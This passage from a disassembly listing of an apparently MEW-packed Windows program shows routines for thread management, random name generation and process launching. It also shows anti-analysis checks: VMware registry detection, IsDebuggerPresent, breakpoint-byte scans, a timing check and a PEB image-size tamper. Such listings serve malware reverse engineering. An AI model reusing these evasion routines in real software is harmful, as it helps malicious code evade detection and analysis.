; MEW:0040AFDFj ...
mov eax, [ecx]
test eax, eax
jz short locret_40A45B
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_40A45B: ; CODE XREF: MEW:0040A453j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A45C proc near ; CODE XREF: sub_404530:loc_404CE3p
; sub_404530+B0Ep ...
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_404468
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 1
pop edi
mov [ebp+var_20], edi
xor ebx, ebx
loc_40A48A: ; CODE XREF: sub_40A45C+10Bj
cmp edi, 0Fh
jge loc_40A54A
lea esi, [edi+edi*2]
shl esi, 3
cmp dword_40B0D8[esi], ebx
jnz loc_40A563
mov [ebp+var_4], ebx
push 4
push ebx
call sub_40AC1C
pop ecx
pop ecx
mov dword_40B0DC[esi], eax
lea eax, [ebp+var_1C]
push eax
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
push ebx
push ebx
call dword_4010D4 ; CreateThread
mov dword_40B0DC[esi], eax
mov esi, [ebp+arg_8]
cmp esi, 3
jz short loc_40A50A
cmp esi, ebx
jnz short loc_40A4E1
push 0FFFFFFF1h
jmp short loc_40A503
; ---------------------------------------------------------------------------
loc_40A4E1: ; CODE XREF: sub_40A45C+7Fj
cmp esi, 1
jnz short loc_40A4EA
push 0FFFFFFFEh
jmp short loc_40A503
; ---------------------------------------------------------------------------
loc_40A4EA: ; CODE XREF: sub_40A45C+88j
cmp esi, 2
jnz short loc_40A4F3
push 0FFFFFFFFh
jmp short loc_40A503
; ---------------------------------------------------------------------------
loc_40A4F3: ; CODE XREF: sub_40A45C+91j
cmp esi, 4
jnz short loc_40A4FC
push 1
jmp short loc_40A503
; ---------------------------------------------------------------------------
loc_40A4FC: ; CODE XREF: sub_40A45C+9Aj
cmp esi, 5
jnz short loc_40A50A
push 2
loc_40A503: ; CODE XREF: sub_40A45C+83j
; sub_40A45C+8Cj ...
push eax
call dword_4010B0 ; SetThreadPriority
loc_40A50A: ; CODE XREF: sub_40A45C+7Bj
; sub_40A45C+A3j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_40A523
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
xor ebx, ebx
mov esi, [ebp+arg_8]
mov edi, [ebp+var_20]
loc_40A523: ; CODE XREF: sub_40A45C+B2j
lea eax, [edi+edi*2]
shl eax, 3
cmp dword_40B0DC[eax], ebx
jnz short loc_40A535
xor eax, eax
jmp short loc_40A554
; ---------------------------------------------------------------------------
loc_40A535: ; CODE XREF: sub_40A45C+D3j
mov ecx, [ebp+arg_C]
mov dword_40B0D8[eax], ecx
mov dword_40B0E8[eax], edi
mov dword_40B0EC[eax], esi
loc_40A54A: ; CODE XREF: sub_40A45C+31j
lea eax, [edi+edi*2]
mov eax, dword_40B0DC[eax*8]
loc_40A554: ; CODE XREF: sub_40A45C+D7j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A563: ; CODE XREF: sub_40A45C+43j
inc edi
mov [ebp+var_20], edi
jmp loc_40A48A
sub_40A45C endp
; =============== S U B R O U T I N E =======================================
sub_40A56C proc near ; CODE XREF: sub_404530+958p
; sub_404530+B66p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jle short locret_40A5D4
cmp eax, 0Fh
jge short locret_40A5D4
push ebx
push esi
lea esi, [eax+eax*2]
push edi
shl esi, 3
push dword_40B0E0[esi]
lea edi, dword_40B0E0[esi]
call sub_408616
xor ebx, ebx
mov [edi], ebx
push dword_40B0E4[esi]
lea edi, dword_40B0E4[esi]
call sub_408616
pop ecx
mov [edi], ebx
mov dword_40B0D8[esi], ebx
lea eax, dword_40B0DC[esi]
pop ecx
mov dword_40B0EC[esi], ebx
mov dword_40B0E8[esi], ebx
mov ecx, [eax]
push ebx
push ecx
mov [eax], ebx
call dword_4010E4 ; TerminateThread
pop edi
pop esi
pop ebx
locret_40A5D4: ; CODE XREF: sub_40A56C+7j
; sub_40A56C+Cj
retn
sub_40A56C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5D5 proc near ; CODE XREF: sub_404530+BC7p
var_400 = byte ptr -400h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push dword ptr [edi+4]
push dword ptr [edi]
push offset unk_4042BC
call sub_405185
add esp, 0Ch
mov esi, offset dword_40B0F4
push 1
pop ebx
loc_40A5FE: ; CODE XREF: sub_40A5D5+73j
mov ecx, [esi-4]
test ecx, ecx
jz short loc_40A63E
mov eax, [esi]
test eax, eax
jz short loc_40A63E
push eax
lea eax, [ebp+var_400]
push dword ptr [esi+10h]
push ecx
push ebx
push offset unk_404294
push eax
call sub_40AB94
add esp, 18h
lea eax, [ebp+var_400]
push eax
push dword ptr [edi+4]
push dword ptr [edi]
push offset dword_401A48
call sub_405185
add esp, 10h
loc_40A63E: ; CODE XREF: sub_40A5D5+2Ej
; sub_40A5D5+34j
add esi, 18h
inc ebx
cmp esi, offset dword_40B244
jl short loc_40A5FE
pop edi
pop esi
pop ebx
leave
retn
sub_40A5D5 endp
; =============== S U B R O U T I N E =======================================
sub_40A64F proc near ; CODE XREF: sub_404530+1B5p
; sub_404530+595p ...
arg_0 = dword ptr 4
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop edi
mov esi, offset dword_40B0F0
loc_40A65C: ; CODE XREF: sub_40A64F+2Dj
mov eax, [esi]
test eax, eax
jz short loc_40A68A
push [esp+0Ch+arg_0]
push eax
call sub_40AFA4
pop ecx
test eax, eax
pop ecx
jz short loc_40A680
add esi, 18h
inc edi
cmp esi, offset byte_40B240
jl short loc_40A65C
jmp short loc_40A68A
; ---------------------------------------------------------------------------
loc_40A680: ; CODE XREF: sub_40A64F+21j
lea eax, [edi+edi*2]
mov ebx, dword_40B0E8[eax*8]
loc_40A68A: ; CODE XREF: sub_40A64F+11j
; sub_40A64F+2Fj
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40A64F endp
; =============== S U B R O U T I N E =======================================
sub_40A690 proc near ; CODE XREF: sub_409016+72p
arg_0 = dword ptr 4
push offset aR_1 ; "r"
push [esp+4+arg_0]
call sub_40AC52
pop ecx
test eax, eax
pop ecx
setnz al
retn
sub_40A690 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6A6 proc near ; CODE XREF: sub_40A77F+85p
var_34 = byte ptr -34h
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 8
call sub_40AC22
push 8
push 0
push eax
mov [ebp+var_C], eax
call sub_40AC10
add esp, 10h
call sub_40AC34
push 1Ah
mov esi, offset a0123456789abcd ; "0123456789abcdefghijklmnopqrstuvwxyz"
cdq
pop ecx
lea edi, [ebp+var_34]
idiv ecx
push 9
pop ecx
rep movsd
movsb
mov ebx, edx
add bl, 61h
call sub_40AC34
push 24h
pop esi
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_34]
mov [ebp+var_5], al
call sub_40AC34
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_34]
mov [ebp+var_4], al
call sub_40AC34
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_34]
mov [ebp+var_3], al
call sub_40AC34
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_34]
mov [ebp+var_2], al
call sub_40AC34
cdq
mov ecx, esi
idiv ecx
mov al, [ebp+edx+var_34]
mov [ebp+var_1], al
call sub_40AC34
cdq
idiv esi
movsx eax, [ebp+edx+var_34]
push eax
movsx eax, [ebp+var_1]
push eax
movsx eax, [ebp+var_2]
push eax
movsx eax, [ebp+var_3]
push eax
movsx eax, [ebp+var_4]
push eax
movsx eax, [ebp+var_5]
push eax
movsx eax, bl
push eax
push offset aCCCCCCC ; "%c%c%c%c%c%c%c"
push [ebp+var_C]
call sub_40AB94
mov eax, [ebp+var_C]
add esp, 24h
pop edi
pop esi
pop ebx
leave
retn
sub_40A6A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A77F proc near ; CODE XREF: sub_4055A6+325p
; sub_4055A6+368p ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_404478
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov edi, [ebp+arg_0]
lea esi, [edi+1]
push esi
call sub_40AC22
mov ebx, eax
mov [ebp+var_1C], ebx
push esi
push 0
push ebx
call sub_40AC10
add esp, 10h
and [ebp+var_24], 0
loc_40A7CA: ; CODE XREF: sub_40A77F+70j
cmp [ebp+var_24], edi
jge short loc_40A7F1
call sub_40AC34
cdq
push 1Ah
pop ecx
idiv ecx
add edx, 61h
mov [ebp+var_20], edx
lea eax, [ebp+var_20]
push eax
push ebx
call sub_40AC82
pop ecx
pop ecx
inc [ebp+var_24]
jmp short loc_40A7CA
; ---------------------------------------------------------------------------
loc_40A7F1: ; CODE XREF: sub_40A77F+4Ej
or [ebp+var_4], 0FFFFFFFFh
mov eax, ebx
jmp short loc_40A809
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
call sub_40A6A6
loc_40A809: ; CODE XREF: sub_40A77F+78j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A77F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A818 proc near ; CODE XREF: sub_404530+5B8p
; sub_4055A6+31Fp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call dword_4010FC ; GetTickCount
push eax
call sub_40AC3A
pop ecx
call sub_40AC34
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
inc eax
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_404488
call sub_40ABC6
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_40A818 endp
; =============== S U B R O U T I N E =======================================
sub_40A856 proc near ; CODE XREF: sub_407617:loc_40769Ep
push esi
call sub_40AC34
mov esi, eax
shl esi, 10h
call sub_40AC34
add eax, esi
pop esi
retn
sub_40A856 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40A86A proc near ; CODE XREF: sub_407617+C4p
jmp sub_40AC34
sub_40A86A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A86F proc near ; CODE XREF: sub_4086A6+16Fp
var_400 = byte ptr -400h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push esi
push edi
push offset dword_4030FC
push [ebp+arg_0]
xor ebx, ebx
call sub_40AC52
mov edi, eax
mov esi, 400h
push edi
push esi
lea eax, [ebp+var_400]
loc_40A899: ; DATA XREF: MEW:00402930o
; MEW:00402974o ...
push 1
push eax
call sub_40AC4C
add esp, 18h
loc_40A8A4: ; CODE XREF: sub_40A86F+55j
mov ecx, eax
test cx, cx
jz short loc_40A8D0
cmp cx, si
jb short loc_40A8C6
push edi
push esi
lea eax, [ebp+var_400]
push 1
push eax
inc ebx
call sub_40AC4C
add esp, 10h
jmp short loc_40A8A4
; ---------------------------------------------------------------------------
loc_40A8C6: ; CODE XREF: sub_40A86F+3Fj
test byte ptr [edi+0Ch], 10h
jnz short loc_40A8D0
xor eax, eax
jmp short loc_40A8DB
; ---------------------------------------------------------------------------
loc_40A8D0: ; CODE XREF: sub_40A86F+3Aj
; sub_40A86F+5Bj
movzx eax, bx
movzx ecx, cx
shl eax, 0Ah
add eax, ecx
loc_40A8DB: ; CODE XREF: sub_40A86F+5Fj
pop edi
pop esi
pop ebx
leave
retn
sub_40A86F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A8E0 proc near ; CODE XREF: sub_408825+107p
; sub_408825+121p ...
var_454 = byte ptr -454h
var_54 = dword ptr -54h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = byte ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 454h
push esi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_40AC10
push 44h
lea eax, [ebp+var_54]
push esi
push eax
call sub_40AC10
add esp, 18h
lea eax, [ebp+var_454]
mov [ebp+var_54], 44h
mov [ebp+var_28], 1
push [ebp+arg_4]
mov [ebp+var_24], si
push [ebp+arg_0]
push offset aSS ; "%s %s"
push 400h
push eax
call sub_40AD78
add esp, 14h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_454]
push esi
push eax
push esi
call dword_4010B4 ; CreateProcessA
neg eax
sbb eax, eax
pop esi
and eax, [ebp+var_8]
leave
retn
sub_40A8E0 endp
; =============== S U B R O U T I N E =======================================
sub_40A95F proc near ; CODE XREF: sub_4055A6+573p
; sub_4055A6+5F6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push edi
loc_40A969: ; CODE XREF: sub_40A95F+1Bj
; sub_40A95F+44j
mov al, [esi]
test al, al
jnz short loc_40A97C
mov al, [ecx]
test al, al
jz short loc_40A9A5
cmp al, 2Ah
jnz short loc_40A9C5
inc ecx
jmp short loc_40A969
; ---------------------------------------------------------------------------
loc_40A97C: ; CODE XREF: sub_40A95F+Ej
mov dl, [ecx]
test dl, dl
jz short loc_40A9C5
cmp al, dl
jz short loc_40A9A1
cmp al, 41h
jl short loc_40A98E
cmp al, 5Ah
jle short loc_40A996
loc_40A98E: ; CODE XREF: sub_40A95F+29j
cmp al, 61h
jl short loc_40A99C
cmp al, 7Ah
jg short loc_40A99C
loc_40A996: ; CODE XREF: sub_40A95F+2Dj
xor al, 20h
cmp al, dl
jz short loc_40A9A1
loc_40A99C: ; CODE XREF: sub_40A95F+31j
; sub_40A95F+35j
cmp dl, 3Fh
jnz short loc_40A9A9
loc_40A9A1: ; CODE XREF: sub_40A95F+25j
; sub_40A95F+3Bj
inc ecx
inc esi
jmp short loc_40A969
; ---------------------------------------------------------------------------
loc_40A9A5: ; CODE XREF: sub_40A95F+14j
; sub_40A95F+5Dj
mov al, 1
jmp short loc_40A9C7
; ---------------------------------------------------------------------------
loc_40A9A9: ; CODE XREF: sub_40A95F+40j
cmp byte ptr [ecx], 2Ah
jnz short loc_40A9C5
lea edi, [ecx+1]
loc_40A9B1: ; CODE XREF: sub_40A95F+64j
push edi
push esi
call sub_40A95F
pop ecx
test al, al
pop ecx
jnz short loc_40A9A5
cmp [esi], al
jz short loc_40A9C5
inc esi
jmp short loc_40A9B1
; ---------------------------------------------------------------------------
loc_40A9C5: ; CODE XREF: sub_40A95F+18j
; sub_40A95F+21j ...
xor al, al
loc_40A9C7: ; CODE XREF: sub_40A95F+48j
pop edi
pop esi
retn
sub_40A95F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9CA proc near ; CODE XREF: sub_4096C8+125p
; sub_4096C8+149p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_40A9F8
loc_40A9DB: ; CODE XREF: sub_40A9CA+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_40AE60
add esp, 0Ch
test eax, eax
jz short loc_40A9FE
inc esi
cmp esi, edi
jl short loc_40A9DB
loc_40A9F8: ; CODE XREF: sub_40A9CA+Fj
xor al, al
loc_40A9FA: ; CODE XREF: sub_40A9CA+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40A9FE: ; CODE XREF: sub_40A9CA+27j
mov al, 1
jmp short loc_40A9FA
sub_40A9CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA02 proc near ; CODE XREF: sub_409834+12p
; sub_409834+23p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov ah, 41h
mov dh, 5Ah
mov esi, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov dl, [ecx]
test dl, dl
jz short loc_40AA4C
loc_40AA17: ; CODE XREF: sub_40AA02+3Fj
mov ebx, esi
inc ebx
loc_40AA1A: ; CODE XREF: sub_40AA02+46j
mov al, [esi]
inc esi
test al, al
jz short loc_40AA55
cmp dl, ah
jb short loc_40AA2C
cmp dl, dh
ja short loc_40AA2C
add dl, 20h
loc_40AA2C: ; CODE XREF: sub_40AA02+21j
; sub_40AA02+25j
cmp al, ah
jb short loc_40AA36
cmp al, dh
ja short loc_40AA36
add al, 20h
loc_40AA36: ; CODE XREF: sub_40AA02+2Cj
; sub_40AA02+30j
cmp al, dl
jz short loc_40AA43
mov esi, ebx
mov ecx, [ebp+arg_4]
mov dl, [ecx]
jmp short loc_40AA17
; ---------------------------------------------------------------------------
loc_40AA43: ; CODE XREF: sub_40AA02+36j
inc ecx
mov dl, [ecx]
test dl, dl
jnz short loc_40AA1A
jmp short loc_40AA50
; ---------------------------------------------------------------------------
loc_40AA4C: ; CODE XREF: sub_40AA02+13j
mov eax, esi
jmp short loc_40AA59
; ---------------------------------------------------------------------------
loc_40AA50: ; CODE XREF: sub_40AA02+48j
dec ebx
mov eax, ebx
jmp short loc_40AA59
; ---------------------------------------------------------------------------
loc_40AA55: ; CODE XREF: sub_40AA02+1Dj
xor eax, eax
jmp short $+2
loc_40AA59: ; CODE XREF: sub_40AA02+4Cj
; sub_40AA02+51j
pop esi
pop ebx
pop ebp
retn
sub_40AA02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA5D proc near ; CODE XREF: sub_40933F+19p
; sub_40AAA5+Cp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push 0
push offset aSoftwareVmware ; "SOFTWARE\\VMware, Inc.\\"
push 80000002h
call dword_401010
test eax, eax
jnz short loc_40AA8D
push [ebp+var_4]
call dword_401018
mov al, 1
leave
retn
; ---------------------------------------------------------------------------
loc_40AA8D: ; CODE XREF: sub_40AA5D+21j
xor al, al
leave
retn
sub_40AA5D endp
; =============== S U B R O U T I N E =======================================
sub_40AA91 proc near ; CODE XREF: sub_40AAA5:loc_40AAEBp
mov eax, large fs:30h
mov eax, [eax+0Ch]
mov eax, [eax+0Ch]
add dword ptr [eax+20h], 2000h
retn
sub_40AA91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AAA5 proc near ; CODE XREF: sub_405CEC:loc_405D67p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
push ebx
push esi
push edi
call sub_40AA5D
test al, al
jz short loc_40AAC1
loc_40AABA: ; CODE XREF: sub_40AAA5+6Bj
; sub_40AAA5+8Dj ...
mov al, 1
jmp loc_40AB4B
; ---------------------------------------------------------------------------
loc_40AAC1: ; CODE XREF: sub_40AAA5+13j
mov esi, offset aKernel32_dll ; "KERNEL32.DLL"
push esi
call dword_4010C8 ; GetModuleHandleA
test eax, eax
jnz short loc_40AADC
push esi
call dword_401090 ; LoadLibraryA
test eax, eax
jz short loc_40AAEB
loc_40AADC: ; CODE XREF: sub_40AAA5+2Aj
push offset aIsdebuggerpres ; "IsDebuggerPresent"
push eax
call dword_40108C ; GetProcAddress
mov [ebp+var_4], eax
loc_40AAEB: ; CODE XREF: sub_40AAA5+35j
call sub_40AA91
mov edi, dword_4010FC
call edi ; dword_4010FC
mov ebx, eax
mov esi, offset sub_40AB50
mov al, [esi]
cmp al, 0CCh
jz short loc_40AB09
xor eax, eax
jmp short loc_40AB0E
; ---------------------------------------------------------------------------
loc_40AB09: ; CODE XREF: sub_40AAA5+5Ej
mov eax, 1
loc_40AB0E: ; CODE XREF: sub_40AAA5+62j
test al, al
jnz short loc_40AABA
cmp [ebp+var_4], 0
jz short loc_40AB3F
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
mov esi, [ebp+var_8]
mov al, [esi]
cmp al, 0CCh
jz short loc_40AB2B
xor eax, eax
jmp short loc_40AB30
; ---------------------------------------------------------------------------
loc_40AB2B: ; CODE XREF: sub_40AAA5+80j
mov eax, 1
loc_40AB30: ; CODE XREF: sub_40AAA5+84j
test al, al
jnz short loc_40AABA
call [ebp+var_4]
test eax, eax
jnz loc_40AABA
loc_40AB3F: ; CODE XREF: sub_40AAA5+71j
call edi ; dword_4010FC
sub eax, ebx
cmp eax, 1388h
setnbe al
loc_40AB4B: ; CODE XREF: sub_40AAA5+17j
pop edi
pop esi
pop ebx
leave
retn
sub_40AAA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB50 proc near ; DATA XREF: sub_40AAA5+55o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov al, [esi]
cmp al, 0CCh
jz short loc_40AB61
xor eax, eax
jmp short loc_40AB66
; ---------------------------------------------------------------------------
loc_40AB61: ; CODE XREF: sub_40AB50+Bj
mov eax, 1
loc_40AB66: ; CODE XREF: sub_40AB50+Fj
pop esi
pop ebp
retn
sub_40AB50 endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AB6A proc near ; CODE XREF: MEW:00407057p
; MEW:004070AEp ...
jmp dword_4011B8
sub_40AB6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AB70 proc near ; CODE XREF: MEW:00407048p
; MEW:0040708Ep
jmp dword_4011B4
sub_40AB70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AB76 proc near ; CODE XREF: MEW:00406FAFp
; MEW:00407063p
jmp dword_4011B0
sub_40AB76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AB7C proc near ; CODE XREF: MEW:00406FA3p
jmp dword_4011AC
sub_40AB7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AB82 proc near ; CODE XREF: MEW:00406F14p
jmp dword_4011A8
sub_40AB82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AB88 proc near ; CODE XREF: MEW:00406EF7p
; MEW:00406F2Ep
jmp dword_4011A4
sub_40AB88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AB8E proc near ; CODE XREF: sub_404530+A04p
; sub_404530+A37p
jmp dword_401138
sub_40AB8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AB94 proc near ; CODE XREF: sub_404530+6AEp
; sub_404530+9B3p ...
jmp dword_40113C
sub_40AB94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AB9A proc near ; CODE XREF: sub_404530+689p
; sub_404530+692p ...
jmp dword_401140
sub_40AB9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40ABA0 proc near ; CODE XREF: sub_404530+673p
; sub_4055A6+6Ap ...
jmp dword_401144
sub_40ABA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40ABA6 proc near ; CODE XREF: sub_404530+659p
jmp dword_401148
sub_40ABA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40ABAC proc near ; CODE XREF: sub_404530+5F4p
; sub_404530+6EDp ...
jmp dword_40114C
sub_40ABAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40ABB2 proc near ; CODE XREF: sub_404530+7Bp
; sub_404530+A0p ...
jmp dword_401150
sub_40ABB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40ABB8 proc near ; CODE XREF: sub_404530+3Ap
; sub_404530+59p ...
jmp dword_401154
sub_40ABB8 endp
; ---------------------------------------------------------------------------
align 10h
loc_40ABC0: ; DATA XREF: sub_404530+Ao
; sub_405185+Ao ...
jmp dword_401158
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40ABC6 proc near ; CODE XREF: sub_404530+471p
; sub_404530+477p ...
jmp dword_40115C
sub_40ABC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40ABCC proc near ; CODE XREF: sub_405185+5Fp
jmp dword_401160
sub_40ABCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40ABD2 proc near ; CODE XREF: sub_405185+37p
; sub_405185+A5p ...
jmp dword_401164
sub_40ABD2 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40ABE0 proc near ; CODE XREF: sub_405185+24p
; sub_4055A6+3Cp ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_40AC00
loc_40ABEC: ; CODE XREF: sub_40ABE0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_40ABEC
loc_40AC00: ; CODE XREF: sub_40ABE0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_40ABE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC10 proc near ; CODE XREF: sub_4052A5+EEp
; sub_4055A6+456p ...
jmp dword_401168
sub_40AC10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC16 proc near ; CODE XREF: sub_405421+37p
; sub_40549A+AAp ...
jmp dword_40116C
sub_40AC16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC1C proc near ; CODE XREF: sub_40549A+50p
; sub_40A45C+4Fp
jmp dword_401170
sub_40AC1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC22 proc near ; CODE XREF: sub_40549A+33p
; sub_407282+C5p ...
jmp dword_401174
sub_40AC22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC28 proc near ; CODE XREF: sub_4055A6+4B2p
; sub_4055A6+4EBp ...
jmp dword_401178
sub_40AC28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC2E proc near ; CODE XREF: sub_405DB7+13Bp
; sub_405DB7+14Ep ...
jmp dword_40117C
sub_40AC2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC34 proc near ; CODE XREF: sub_407125+Ep
; sub_407125+18p ...
jmp dword_401180
sub_40AC34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC3A proc near ; CODE XREF: sub_407125+8p
; sub_40758E+1Ap ...
jmp dword_401184
sub_40AC3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC40 proc near ; CODE XREF: sub_407282+29Cp
; sub_40AF35+10p ...
jmp dword_401188
sub_40AC40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC46 proc near ; CODE XREF: sub_407708+146p
; sub_407E7D:loc_407F22p ...
jmp dword_40118C
sub_40AC46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC4C proc near ; CODE XREF: sub_407708+B4p
; sub_407708+E4p ...
jmp dword_401190
sub_40AC4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC52 proc near ; CODE XREF: sub_407708+86p
; sub_407BC9+5Dp ...
jmp dword_401194
sub_40AC52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC58 proc near ; CODE XREF: sub_407BC9+132p
; sub_407BC9+1E3p
jmp dword_401198
sub_40AC58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC5E proc near ; CODE XREF: sub_407F46+497p
jmp dword_401134
sub_40AC5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC64 proc near ; CODE XREF: sub_407F46+2A8p
; sub_407F46+441p
jmp dword_401130
sub_40AC64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC6A proc near ; CODE XREF: sub_40862D+23p
jmp dword_40112C
sub_40AC6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC70 proc near ; CODE XREF: sub_40862D+11p
; sub_4086A6+B9p
jmp dword_401128
sub_40AC70 endp
